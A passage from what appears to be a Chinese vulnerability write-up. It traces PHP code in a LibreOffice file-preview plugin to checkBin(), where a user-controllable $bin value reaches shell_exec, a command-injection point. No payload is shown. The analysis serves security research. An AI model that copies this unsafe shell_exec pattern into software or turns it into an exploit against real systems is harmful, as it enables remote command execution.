<p blockindex=10>那么进一步跟进代码进行查看:</p>
<p blockindex=11>先查看主函数:</p>
<p blockindex=12><img src="data:image/png;base64,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<p blockindex=13>主函数作用是在用户访问文件的时候首先获取处理文件插件功能的插件,再检查是否允许使用名为 'LibreOffice' 的扩展。getSoffice()用于检查能否成功获取到LibreOffice 的可执行文件路径,最后通过传入的filepath获取指定文件信息。</p>
<p blockindex=14>跟进getSoffice()方法:</p>
<p blockindex=15><img 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<p blockindex=16><code>getSoffice</code> 方法用于获取LibreOffice的可执行文件路径的函数。它首先从配置中获取 LibreOffice 的安装路径,然后通过 <code>checkBin</code> 方法检查该路径是否有效。跟进checkBin():</p>
<p blockindex=17><img src=data:image/png;base64,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<p blockindex=18><code>checkBin</code> 方法用于检查指定可执行文件是否可用。通过执行 <code>shell_exec</code> 来尝试运行指定的可执行文件。</p>
<p blockindex=19>其中使用<code>shell_exec</code>函数执行了命令并将输出结果存储在<code>$result</code>变量中。</p>
<p blockindex=20><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABS8AAABECAIAAADvIVcgAAAgAElEQVR4nO3dd3gcx3kw8Hf2eu93OBx6OzQCJEEQ7FUkRUlWs+SmyLLlFlux5e7PsZM4XxI7Lvlsx4qb3BVbsmVJVhd77yRIFKLXQ72O633n+wOdAMjDEQRA8f09eh7h7mZnZmcL992ZnSVZ2XkAoNHpAUDh8cFy4lHIYPnVCiGEEEIIIYQQuknMUlcAIYQQQgghhBC642A0jhBCCCGEEEIILTbuUlcAIXS7ohwOZRhKlroeyxKhQFiWJBJLXRGEEEIIIbRMYTSOEJo3lstlBXwgGIjPiY79jzKRKBOPL21lEEIIIYTQMoQj1RFC88PyeKxQgKF4UghhhQKWx1vqeiCEEEIIoWUHo3GE0DxQhmEFgqWuxW2GFQgogydbhBBCCCE0DV4gIoTmgeXxJkZho6RR7B5HCCGEEELXwGh8AShLn3r/hjWEYoiC3j2oMK1w96MPPVDBXLNjczhLVKPb3NzthieQOwelnIIHPnHX7kqVcNltbm6aOauiQqu53gGeTBqEEEIIJQ9ncUMITUMpR1396EMf2pIu4dCm4deu+ZVhsG98FEsJTyRg4pFY/MYNcqtHqlNB0arqbQbaU3dx33AEH+lftogkp2pd6Zq1e7ov/unXBy7a6PKYf4FSqWHlapPS2dtZBzB7lZJJgxBCCKF5wb7xm0Ip4YjStVIeCHVpShn2bqHbHaWMetunn/jYNiPHWvfST376y5OJa6MF3MknGErueXTTKkNyiWdptwU8gfDSaop1RpV+vdmIT/UvX4TE6375L8+/dM7Bzan++Jcf3aKHZfKvhjpfpwRq77H5by4NQgghhOYD+8ZTR7nGolUPrzRpOIQArN2yfU105MK5c/sHQ+xSV20WgvwnHqrImfhIqafl+A/rXHP1geRW3/t4Plw+/OZr9uXRdXMd1PAZzWc/ymn8pv2FfannsvFZwz2rJvOk1sAv7wlYyLzT3OaIac9D7yuXhDsP/vCH5yz4Xq5b6IYnECrffs+OzdKBl168cPWGucWcLUMhkw76BhyRW91vSYkx498r5GDr/2atb+leN0/TCvI/m89vrGt5fjjlTJiNa4vvVU/mScOOXxyx39xBfYP2CVk79/+mp2XgsS8+VPj+J2s6vnduaIkDckqpPC9HBAlXZ3d8jhN+MmluVEpO8QfXq2Gg7fljzhRz4MkKKjML06VyMYdGI16nu6PB0uFk55kbpSJ5SWVWnkEsFZCo39/f1lPXHoxdmwllpNrVG/IKNDxCIu0HL1203aL1QgghdCfDaDxFlPKNK96/2iQJWE/3suWl4u56t64kZ+2mmuDbx44t4RXqXOKeto5u1+jfYu0Ko3Rpq7P8DJ8IXrCM/snk3C3QpprmdkYpr+TeXUZOpOPlX2Aofkst+AmE+C8ce+fC6J8LXttrsSxNAABL2dt+wDIdtjnPB0b/5uWmyxbkoE6ifRKWfS+/UvzpD5ZsvLfy4rOXZ4xAWVycdEOWGGIWmyU6Z42TSXMDCcoCAJva7WpKuYrVu0rNChLxeAZ7Y0Qi1acbq9MUssP1l+c34F9cuqm0UkvCLnefjcgMyoLqchW3fn9zeEomRJlbsGGNTs6EvT4il9269UIIIXSHw2g8VZyigkw5+E8fP32AKTOXcgZaLu8L8p9el74qT3mszr3U1Zsh4Thz0TH2d9qqYozGr9X5B1/n2J+8h7fPHmknk+a2xq0oXSEG36lzJz2pXXCzIElbUZlp0EmlTMzndHTUdfaMTEQaLEjSVqzMNGilEoiMOF09de093onLaFXl3hJ55+XL4awKs04rTYwMD1y90OMAlXlNXqZeLiURl6X94mVnCFJLDwAcVUFBWb5WLRcwibBnaLDpco81PDW32ot+U6VZp1ULEn7PQGNzfX9kSjuwXFVmZYVJr5Hw4n57R3uta9q68zWmTKnf0uOb0ck2i9vtBDIdHYs2l7oeN4929ljHD2rxe9MWJhpPrn18x/c33V+ysqK6gHO5dUkjOU5GvloA0c5OVwLmimqTSXMjdDRqTXG3URTnmhXE23H1wHnv6CEmziveU6MyVxpaDwyHAABoWplZH+xv7gnG5iyEUpHCpGXA1XPwnSE/oVSo23pvYbo5TdfcM/5PJJWbV+xaLQWfs/ZMhydv9fbrR+M3t14IIYTubBiNp0qokjAAAbsXQDn2VWiw80izXzrCjk1zRamsZPsXKpU9F/cd46/YVaDTiZiY393a3PBOtyc2kROlHJlpW2VRqV4m59JowNdtaT9ydcAx9WY/5Rnzi7cXGY0SoYQLkXDYae87Wd/a7GfH0lD17vu3rOP1Pv/y5faJpdJWfWVrduw6I9KvQbnVO+/bq58sd/XOh1dP/Gqr/8HhzkAqbXVzqKhUtONT4uISRq5iIMR6uqMNz/kPH2AT164UKf6cYvc9PJWE+rqiV37hO3qKslPakPI5Kz4l23wXX68HNpCwXQqf+lmwoTvlS8ubdP36UEo4W36l2VMBrf/m+MOrdOxLtejv/iIvEUYPfGTkaPt4yhuvF6U8TvknpBt28dMMBPzsSFf08m/9p89ObR8AgIzsND7Em1p6U+rzZBlN4c67CtVxZ2/vwFBCoMvJWX+PWrr/XKODEsIymsK77ipUxZyWvgErK9JlZq+/T6s+crZ2aHSgKVeslKuySzeKiat3qMevzs0r3SoR93IMupC1r9snNpjyyqs2x07sawillJ4xVG/YViwKO+1DHQM+KsssNG/V8g690e6k47lllW2Wcb0We7dbpM83lW6Xct45WWsfbUmWayzbsy1bHLZbevtCRKwvWb3R5Zsy84a6YtvKQolP6j2ZTDCdxAlkbNuxCaFuS1X5aoNUQuIuW9+x2qargYkDn+ZW3/t4gWBya808TidGvL/ZZ1xTtkInFsTDDpvlyOW2jnCKo3hGOwOXSfRBOSVFxt0miYrDegOBK23DRx3stAOf4VXkGzYZJQYhwyZiVsfIqXZnQ2BeB/7EqPj2S5K03ZkSHY+EQv76dus7w3F2Zj7JtQ/b1tMRW1mZaTRBa98sv4tXP/53j6/TgO3KH3749mVv8rWdF0r52rx0DgSsnUNkzmHqN06ThDjLApAUo1aeMU1CiKezwTtxtyvYNdhfqcrXyLUwPNqAHLmytEJTWOpqb+qbMyYPh7wR0MQTEQAAQsLOK6doryASnFqYiAn0dJy+YB+JU0PeLV0vhBBCdziMxlMVdvkpKJW5Bs6VyPh3Mef5eufMpFzTqkeU/EGb1c2XZadpV63dwAT3/82aGAu65IWP7SrP4UXtVmtTCKRqbXHZ2nxd42+OtNvGwy1FwdrH1+j4UV/PQL8nDjyJqiDT/KhG/NL+i1cjCxhMUudwX2MQAECiMeVKwWUdGAyP/+j1x+ZeckZOmZv2bsudrWaJwaN/rOtLts6UGsUfeEaWL2GtF6L1VgpijqlGsPXbPBVx/Xn/tNGJ0vsUj+SRnssRh4aXv0q444dc4aecb14mY23IcDY/o7l7FQl2R9sPJUDDy9km/cA6vvJj7hPtN3F9maIb1ocQmjj5Lb/5jzLz0/KVpzx1TgBgyr8qLVHQ3p94j0+E4jdeL0oJZ8NP1PdWMTFbrOt4PCLgZleL9/6PIO/fnb9/ZVobyqVigIDbndo8zxLz2nxN1HLszaahKACwtNm99YGKsgpDy+HhBMjMNQXqiOXY201DEQBgaZ1l9d3rzWvzel7vcI9fx4qV8cuv1vVFAaCzN7Rx74qc9Nazb54bYQlLG4bC920uyzbIGnomJpFKOj1LQSrhhOztzafOOCIEANg2O3lgR3qOtt1pH89NQxtfPdcVBgC2sXVkx4PlBWZtrd0BwFJQlFZnyQLdB99qdcQBgIXG9E33reKRiQPE19duk6ns/Z6kGivpEwgrrFhfbeQ4LQN+sUqXk17wXjkJvFXfM76NvHbL5dETOUdekKuRz1micGVNlY7j6O33SbW6nKySDyl5v3unwZLStmZpHGCZzFopyTA9ImN6nF6HUJynUuysEgnPdb45MnFXi795Te5eFSfoD7QPxahQlGvQf1AnVZ7tOeGb94EvMZrepyC9Lp+TL8xVyzeuFJLznW+4ZgT2SbUPIQmP2w8gkygAZkTjlJLcmnV6MRcgfeW6krdrz96q+4biXIOBA94uq3Pue3DJpLmxBE2kHrXGu05e6mPi4dDUGrAJFoCdHCPef6HuhCezzKwtXaeeIyYnhI40XHQZN5hWZzrP9iUIod5hpxemrZi3pfGdUGKW+ywLv14IIYTucBiNpyrR2tnnz8yuXL8p3Bm5fjOmiTx/fLOxJ0EIpfz0qqe2ZFUUZ+y39oYAALilFcU5vOCVo0det45eNPAKqnd8MK94Z1bP82OP7vKKsnVCGDm8/8iJwOglJqMvXf++XFW+lnt1ILFg60QSXU2XumC0w82QK4XeqxdTncVNZ67cWM2bsSylMf7VP9bN1hE0O/EWYb6MDvzM9fNfs3R03QslT3xfmL6ez98fmXp/IF0Z/c2jwf4gAFDth1Wf+Sy/5sPCfZcjo+0j3C3bvoq433T99F/jIQoAVLRJ/pn/J9r+GeGFL0Qis5R8ayVRH0L7gn/9ieCzXxXs/aqg7ath2Ca7bycTqfe9/Bw70aWZzHpxt0vvqmIi9b6ffzpkjwIA5RRKPvFbadGnpQWv+jqnXEPyeByAWDSawgqxVJWZp6VDZ1oHI6NhA0PC/af/5hJyYhRYqjDladjhs22D4fFf4+6GBmvBlox8XcfE9EjxgX7L2OLsiMOXAJF9YIQdTQ8+pzMOmWIpwEQ0nnR6hoC/6+zFLpi85k74w2EQKTQcahsbS88O9neNXeszJGQdcJYbZGIRQBgA1OnZCnbwdIc9NlZ/CA82dORnrOCP1yVhrb9kTbq9kj6BcJVS+8mfNnpiAELine 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<pre blockindex=21><code class="hljs language-php"><span class=hljs-keyword>private</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>checkBin</span>(<span class=hljs-params><span class=hljs-variable>$bin</span>,<span class=hljs-variable>$check</span></span>)</span>{
<span class=hljs-variable>$code</span> = Cache::get(<span class=hljs-variable>$bin</span>);
<span class=hljs-keyword>if</span> (<span class=hljs-variable>$code</span>) <span class=hljs-keyword>return</span> <span class=hljs-variable>$code</span>;
<span class=hljs-variable>$result</span> = shell_exec(<span class=hljs-variable>$bin</span>.<span class=hljs-string>' --help'</span>); <span class=hljs-comment>// ' 2&gt;&amp;1'</span>
<span class=hljs-variable>$code</span> = strstr(<span class=hljs-variable>$result</span>,<span class=hljs-variable>$check</span>) ? <span class=hljs-literal>true</span> : <span class=hljs-literal>false</span>;
Cache::set(<span class=hljs-variable>$bin</span>, <span class=hljs-variable>$code</span>);
<span class=hljs-keyword>return</span> <span class=hljs-variable>$code</span>;
}
</code></pre>
<p blockindex=22>可以看到这里$bin可控。</p>
